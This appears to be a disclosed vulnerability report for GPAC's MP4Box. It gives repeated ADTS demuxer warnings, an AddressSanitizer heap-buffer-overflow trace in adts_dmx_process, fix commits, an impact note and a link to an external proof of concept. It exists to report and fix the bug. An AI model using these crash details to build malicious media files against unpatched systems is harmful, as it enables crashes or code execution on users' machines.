header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome [ADTSDmx] Unsupported multi-block ADTS frame header - patch welcome ================================================================= ==6277==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61e00000fb8e at pc 0x7f68193a0490 bp 0x7fff943fa890 sp 0x7fff943fa038 READ of size 6134 at 0x61e00000fb8e thread T0 #0 0x7f68193a048f in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790 #1 0x7f6816cc2268 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x7f6816cc2268 in adts_dmx_process filters/reframe_adts.c:831 #3 0x7f68168d612d in gf_filter_process_task filter_core/filter.c:2828 #4 0x7f68168980c2 in gf_fs_thread_proc filter_core/filter_session.c:1859 #5 0x7f68168a4896 in gf_fs_run filter_core/filter_session.c:2120 #6 0x7f68162e2806 in gf_media_import media_tools/media_import.c:1228 #7 0x5636382583b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130 #8 0x563638227db5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302 #9 0x7f6813579082 in __libc_start_main ../csu/libc-start.c:308 #10 0x5636381fbcfd in _start (/home/qianshuidewajueji/gpac/bin/gcc/MP4Box+0xa3cfd) 0x61e00000fb8e is located 0 bytes to the right of 2830-byte region [0x61e00000f080,0x61e00000fb8e) allocated by thread T0 here: #0 0x7f6819412c3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163 #1 0x7f6816cc2cee in adts_dmx_process filters/reframe_adts.c:606 #2 0x7f68168d612d in gf_filter_process_task filter_core/filter.c:2828 #3 0x7f68168980c2 in gf_fs_thread_proc filter_core/filter_session.c:1859 #4 0x7f68168a4896 in gf_fs_run filter_core/filter_session.c:2120 #5 0x7f68162e2806 in gf_media_import media_tools/media_import.c:1228 #6 0x5636382583b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130 #7 0x563638227db5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302 #8 0x7f6813579082 in __libc_start_main ../csu/libc-start.c:308 SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790 in __interceptor_memcpy Shadow bytes around the buggy address: 0x0c3c7fff9f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3c7fff9f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3c7fff9f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3c7fff9f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3c7fff9f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c3c7fff9f70: 00[06]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3c7fff9f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3c7fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3c7fff9fa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3c7fff9fb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3c7fff9fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==6277==ABORTING Git log commit be9f8d395bbd196e3812e9cd80708f06bcc206f7 (HEAD -> master, origin/master, origin/HEAD) Author: Aurelien David <aurelien.david@telecom-paristech.fr> Date: Mon Feb 13 15:42:23 2023 +0100 mhas: check idx not oob (#2398) commit 377ab25f3e502db2934a9cf4b54739e1c89a02ff Author: Aurelien David <aurelien.david@telecom-paristech.fr> Date: Mon Feb 13 15:42:10 2023 +0100 fix a5efec8 to cover more cases (#2397) Credit qianshuidewajueji@QAX src Impact This is capable of causing crashes by using unexpected value, or possible code execution. Relevant Links: https://github.com/gpac/gpac https://github.com/qianshuidewajueji/poc/blob/main/gpac/adts_dmx_process_poc
[]
[ { "sha": "7d3c5792", "url": null }, { "sha": "b964fe4226f1424cf676d5822ef898b6b01f5937", "url": "https://github.com/gpac/gpac/commit/b964fe4226f1424cf676d5822ef898b6b01f5937" }, { "sha": "be9f8d395bbd196e3812e9cd80708f06bcc206f7", "url": "https://github.com/gpac/gpac/commit/be9f8d395bbd196e3812e9cd80708f06bcc206f7" }, { "sha": "377ab25f3e502db2934a9cf4b54739e1c89a02ff", "url": "https://github.com/gpac/gpac/commit/377ab25f3e502db2934a9cf4b54739e1c89a02ff" } ]